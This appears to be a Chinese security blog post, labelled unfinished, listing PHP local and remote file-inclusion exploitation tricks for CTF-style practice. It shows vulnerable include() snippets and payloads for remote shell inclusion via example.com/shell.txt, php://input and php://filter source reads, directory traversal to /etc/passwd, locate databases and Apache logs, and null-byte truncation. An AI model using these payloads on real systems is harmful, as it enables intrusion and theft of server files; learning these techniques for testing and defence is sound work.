美文网首页
【本地文件包含】一些利用姿势(未完待续)

【本地文件包含】一些利用姿势(未完待续)

作者: queena_ | 来源:发表于2018-02-27 14:53 被阅读0次

0x01 普通远程文件包含

这是我接触web最先碰到的一种,bugku中http://120.24.86.145:8005/post/的就利用了此类文件包含

#!php
<?php include($_GET['file']); ?>
  • 远程代码执行
    ?file=[http|https|ftp]://example.com/shell.txt
    (需要allow_url_fopen=On并且 allow_url_include=On)
  • 利用php流input
    ?file=php://input
    (需要allow_url_include=On)
  • 利用php流filter
    ?file=php://filter/convert.base64-encode/resource=index.php
    (需要allow_url_include=On)

0x02 普通本地文件包含

#!php
<?php include("inc/" . $_GET['file']); ?>
  • 包含目录下的文件
    ?file=.htaccess
  • 目录遍历
    ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
    (linux中这两个文件存储着所有文件的路径,需要root权限)
  • 包含错误日志
    ?file=../../../../../../../../../var/log/apache/error.log
  • 包含上传的附件
    ?file=../attachment/media/xxx.file

0x03 有限制的本地文件包含

#!php
<?php include("inc/" . $_GET['file'] . ".htm"); ?> 
  • %00截断
    ?file=../../../../../../../../../etc/passwd%00
    (需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

相关文章

  • 【本地文件包含】一些利用姿势(未完待续)

    0x01 普通远程文件包含 这是我接触web最先碰到的一种,bugku中http://120.24.86.145:...

  • 【网络安全】HTB靶机渗透系列之Sniper

    介绍 Sniper是一个中等难度的靶机,知识点涉及本地文件包含利用、远程文件包含利用、凭证制作、恶意chm文件利用...

  • TryHackMe--dogcat

    一、文件包含利用 1、本地文件包含 2、源码分析 3、apache日志文件包含 apache默认路径:/var/w...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

  • 本地文件包含

    这个是bugku上的一道题目,题目如下: 第四第五种办法的出来的是一串base64编码的字符串,拿去解码一下就可以...

  • DVWA文件包含漏洞学习

    文件包含分为LFI本地文件包含和RFI远程文件包含,本次主要以本地文件包含为主进行测试。 进行到DVWA下的Fil...

  • PHP文件包含

    LFI、RFI、PHP封装协议安全问题学习 本文希望分享一些本地文件包含、远程文件包含、PHP的封装协议(伪协议)...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • 本地包含敏感文件

    常用函数 .require()执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行.r...

网友评论

      本文标题:【本地文件包含】一些利用姿势(未完待续)

      本文链接:https://www.haomeiwen.com/subject/yrtmxftx.html